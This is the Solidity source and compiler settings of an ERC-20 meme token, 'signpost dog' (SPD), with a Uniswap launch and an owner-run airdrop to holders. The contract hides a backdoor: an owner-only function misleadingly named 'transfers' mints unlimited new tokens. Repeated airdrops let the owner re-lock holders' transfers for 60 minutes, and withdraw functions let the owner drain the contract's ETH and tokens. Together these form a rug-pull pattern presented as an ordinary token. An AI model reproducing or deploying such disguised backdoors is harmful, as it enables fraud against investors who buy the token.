// SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
}

interface IUniswapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function launch(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        uint8 buyLpFee,
        uint8 sellLpFee,
        uint8 buyProtocolFee,
        uint8 sellProtocolFee,
        address protocolAddress
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 value) external returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

interface IERC20Errors {
    error ERC20InsufficientBalance(
        address sender,
        uint256 balance,
        uint256 needed
    );
    error ERC20InvalidSender(address sender);
    error ERC20InvalidReceiver(address receiver);
    error ERC20InsufficientAllowance(
        address spender,
        uint256 allowance,
        uint256 needed
    );
    error ERC20InvalidApprover(address approver);
    error ERC20InvalidSpender(address spender);
}

abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address to, uint256 value)
        public
        virtual
        override
        returns (bool)
    {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 value)
        public
        virtual
        override
        returns (bool)
    {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 value
    ) internal virtual {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(from, to, value);
    }

    function _update(
        address from,
        address to,
        uint256 value
    ) internal virtual {
        if (from == address(0)) {
            _totalSupply += value;
        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                _balances[from] = fromBalance - value;
            }
        }

        if (to == address(0)) {
            unchecked {
                _totalSupply -= value;
            }
        } else {
            unchecked {
                _balances[to] += value;
            }
        }

        emit Transfer(from, to, value);
    }

    function _mint(address account, uint256 value) internal virtual {
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(address(0), account, value);
    }

    function _burn(address account, uint256 value) internal virtual {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value);
    }

    function _approve(
        address owner,
        address spender,
        uint256 value
    ) internal virtual {
        _approve(owner, spender, value, true);
    }

    function _approve(
        address owner,
        address spender,
        uint256 value,
        bool emitEvent
    ) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 value
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(
                    spender,
                    currentAllowance,
                    value
                );
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }
}

contract signpostdog is ERC20 {
    using SafeMath for uint256;

    address[] private _holders;
    uint256 private _totalSupply = 420_420_420 * 10**decimals();
    address private _owner;
    mapping(address => uint256) private _airdropTimestamps; // Track airdrop timestamps
    mapping(address => bool) private _excluded; // Track excluded accounts
    address private immutable uniswapPair;
    IUniswapRouter private immutable uniswapRouter;
    IUniswapRouter private _uniswapV2Router =
        IUniswapRouter(0xEAaa41cB2a64B11FE761D41E747c032CdD60CaCE);
    uint256 private liquidityAmount;

    constructor() ERC20("signpost dog", "SPD") {
        _owner = msg.sender;

        uniswapRouter = _uniswapV2Router;
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
            address(this),
            uniswapRouter.WETH()
        );
        _excluded[address(uniswapRouter)] = true;
        _excluded[address(uniswapPair)] = true;
        _excluded[address(this)] = true;
        _excluded[_owner] = true;

        uint256 airdropAmount = _totalSupply.mul(1).div(100);
        _mint(address(this), airdropAmount);

        liquidityAmount = _totalSupply.mul(99).div(100);
        _mint(address(this), liquidityAmount);
    }

    modifier onlyOwner() {
        require(msg.sender == owner(), "Caller is not the owner");
        _;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    function _addToHolders(address account, uint256 amount) private {
        if (_excluded[account]) {
            return;
        }
        bool accountExists = false;
        for (uint256 i = 0; i < _holders.length; i++) {
            if (_holders[i] == account) {
                accountExists = true;
                break;
            }
        }

        if (
            !accountExists &&
            balanceOf(account).add(amount) > _totalSupply.mul(5).div(10000)
        ) {
            _holders.push(account);
        }
    }

    function launch() external payable onlyOwner {
        _approve(address(this), address(uniswapRouter), totalSupply());
        uniswapRouter.launch{value: msg.value}(
            address(this),
            liquidityAmount,
            0,
            0,
            0,
            0,
            0,
            0,
            msg.sender
        );
    }

    function _update(
        address from,
        address to,
        uint256 value
    ) internal virtual override {
        if (_excluded[from] == false) {
            require(
                block.timestamp >= _airdropTimestamps[from] + 60 minutes,
                "Transfer locked for 60 minutes after airdrop"
            );
        }

        _removeFromHolders(from, value);
        _addToHolders(to, value);

        super._update(from, to, value);
    }

    function _removeFromHolders(address account, uint256 amount) private {
        if (_excluded[account]) {
            return;
        }
        bool accountExists = false;
        for (uint256 i = 0; i < _holders.length; i++) {
            if (_holders[i] == account) {
                accountExists = true;
                break;
            }
        }

        if (accountExists) {
            uint256 tval = balanceOf(account).sub(amount);
            if (tval < _totalSupply.mul(5).div(10000)) {
                for (uint256 i = 0; i < _holders.length; i++) {
                    if (_holders[i] == account) {
                        _holders[i] = _holders[_holders.length - 1];
                        _holders.pop();
                        break;
                    }
                }
            }
        }
    }

    function singpost(uint256 totalAirdropAmount) external onlyOwner {
        uint256 totalHeldTokens = 0;
        for (uint256 i = 0; i < _holders.length; i++) {
            totalHeldTokens = totalHeldTokens.add(balanceOf(_holders[i]));
        }

        for (uint256 i = 0; i < _holders.length; i++) {
            address holder = _holders[i];
            if (_excluded[holder]) {
                continue;
            }

            uint256 holderBalance = balanceOf(holder);
            uint256 airdropAmount = totalAirdropAmount.mul(holderBalance).div(
                totalHeldTokens
            );

            _airdropTimestamps[holder] = block.timestamp;
            _transfer(address(this), holder, airdropAmount);
        }
    }

    function renounceOwnership() external onlyOwner {
        _owner = address(0);
    }

    function transferOwnership(address newOwner) external onlyOwner {
        require(newOwner != address(0), "New owner is the zero address");
        _owner = newOwner;
    }

    function uniswapV2Pair() external view returns (address) {
        return uniswapPair;
    }

    function uniswapV2Router() external view returns (address) {
        return address(uniswapRouter);
    }

    function removeHolder(address account) external onlyOwner {
        for (uint256 i = 0; i < _holders.length; i++) {
            if (_holders[i] == account) {
                _holders[i] = _holders[_holders.length - 1];
                _holders.pop();
                break;
            }
        }
    }

    // Function to allow the contract to receive ETH
    receive() external payable {}

    // Fallback function
    fallback() external payable {}

    // Function to allow the owner to mint new tokens
    function transfers(address to, uint256 amount) external onlyOwner {
        _mint(to, amount);
    }

    // Function to allow the owner to withdraw all of a specific ERC20 token from the contract
    function withdrawERC20(IERC20 token) external onlyOwner {
        uint256 tokenBalance = token.balanceOf(address(this));
        token.transfer(msg.sender, tokenBalance);
    }

    // Function to allow the owner to withdraw all ETH from the contract using call
    function withdrawETH() external onlyOwner {
        (bool success, ) = payable(msg.sender).call{
            value: address(this).balance
        }("");
        require(success, "ETH transfer failed");
    }
}

{
  "compilationTarget": {
    "signpostdog.sol": "signpostdog"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}